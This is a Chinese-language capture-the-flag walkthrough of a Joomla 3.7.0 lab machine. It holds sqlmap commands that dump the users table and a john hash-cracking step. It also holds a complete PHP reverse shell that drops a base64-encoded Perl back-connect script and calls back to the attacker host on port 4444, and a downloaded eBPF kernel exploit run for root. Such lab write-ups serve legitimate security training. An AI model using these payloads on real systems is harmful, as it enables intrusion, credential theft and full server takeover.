一、準備工作
1.靶場鏈接:
百度網盤 請輸入提取碼 提取碼: 48d3
2.啟動靶場后會遇到如下情況:
2-1具體解決辦法如下:
啟動成功
3.查看kali的ip:ifconfig
二、信息收集
1.nmap的信息收集
(1)尋找靶機的ip,發現靶機地址為192.168.101.116
命令:nmap 192.168.101.0/24
(2)端口掃描
命令:nmap -A -P- 192.168.101.116
(3)腳本掃描
命令:nmap --script=vuln 192.168.101.116
2.掃描登錄網址
使用dirb掃描,發現一個登錄網站http://192.168.101.116/administrator/
命令:dirb http://192.168.101.116
三、漏洞探測
1.探索到joomla 3.7.0的數據庫,命令:searchsploit joomla 3.7.0
2.注入漏洞編號為42033,命令:searchsploit -p 42033.txt
3.把漏洞文件復制到root下,命令:sudo cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root
查看42033.txt,命令:su root、cat 42033.txt
四、漏洞利用
1.數據庫注入攻擊
(1)具體操作:sqlmap -u "http://192.168.101.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
使用sqlmap自動注入工具對靶機執行sql注入代碼, 查出5個數據庫信息
(2)注入查詢當前靶機正在使用的數據庫為:joomladb
命令:sqlmap -u "http://192.168.101.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
(3)查詢user數據表,命令:sqlmap -u "http://192.168.101.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
探測到users表的列名:password、username
(4)查看password列以及對應的username
命令:sqlmap -u "http://192.168.101.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
2.用john給密碼哈希值解密
(5)獲得網站后臺登錄用戶名admin和密碼hash值:
admin 、$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
方法一:
將密文保存到文件Joomla370-136-admin-hash中,命令:vim Joomla370-136-admin-hash
使用john爆破hash值,得到密碼:snoopy;命令:john Joomla370-136-admin-hash
方法二:
1.創建一個txt文件將密碼hash值放入,命令:vim swn.txt;
2.john解密,命令:john --wordlist=rockyou.txt swn.txt
3.查看解出的密碼,命令:john swn.txt --show
用得出的用戶密碼登錄之前發現的一個登錄網站http://192.168.101.116/administrator/
登錄后臺成功
點開網頁模板,選擇第二個模板
反彈shell
(1)寫入反向連接的php代碼
源碼:
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.101.10";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
(2)訪問剛才的寫的php:http://192.168.101.116//templates/protostar//index.php
(3)kali開啟監聽:nc -lvvp 4444
(4)優化命令執行終端,執行下面命令進入python交互式(注意要下載python環境才能運行):
python -c ‘import pty;pty.spawn(“/bin/bash”)’
3.提權
(1)查看靶機當前的操作系統版本:
lsb_release -a
(2)在kali里面尋找Ubuntu 16.04版本的漏洞
命令:searchsploit Ubuntu 16.04
(3) 下載exp,將里面的exploit.tar上傳,并解壓運行
命令:wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
1.解壓39772.zip文件,命令:unzip 39772.zip
2.進入到39772目錄下,解壓exploit提權腳本tar包,命令:cd 39772、tar -xvf explit.tar
3.進入到ebpf_mapfd_doubleput_exploit 下面,執行命令:./compile.sh
4. 執行代碼進行提權,運行完畢獲取root權限,發現flag
命令:./doubleput
獲取到root權限,并發現the-flag.txt文件